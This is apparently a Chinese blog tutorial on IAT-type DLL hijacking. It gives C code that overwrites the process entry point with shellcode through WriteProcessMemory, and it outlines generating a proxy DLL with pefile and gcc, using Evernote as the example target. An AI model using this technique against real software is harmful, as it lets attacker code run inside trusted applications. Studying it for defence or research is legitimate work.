DLL劫持之IAT类型(挖掘)

针对非LoadLibrary而是从IAT表导入函数的程序,不能用导出函数的方法

导入表调用在程序执行开头,那么可以在解析PE头的时候调用 DLL­MAIN

MODULEINFO moduleInfoe;
SIZE_T bytesWritten;
 
GetModuleInformation(GetCurrentProcess(), GetModuleHandle(NULL), &moduleInfoe,sizeof(moduleInfoe));
 
char EntryAddr[MAX_PATH] = { 0 };
_itoa_s((int)moduleInfoe.EntryPoint, EntryAddr, 10);
unsigned char shellcode[] = "";
int shellcode_size = 1024;
HANDLE currentProcess = GetCurrentProcess();

WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);

导入表函数格式

手动写导入太麻烦,借助python的PEfile库直接读取导入表中的函数

https://github.com/erocarrera/pefile

首先定位判断dll名称

然后获取导入表的函数

获取到函数之后按照格式输出

以印象笔记下的文件为例,其用的方法是从IAT表中导入函数,直接运行会显示缺dll

这里使用脚本获取所有的导出函数

得到a1.c的源文件,可以看到已经将导出函数声明到了源文件里面

然后将shellcode填充到相应位置

再使用gcc编译成dll

双击即可完成IAT类型的dll劫持

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值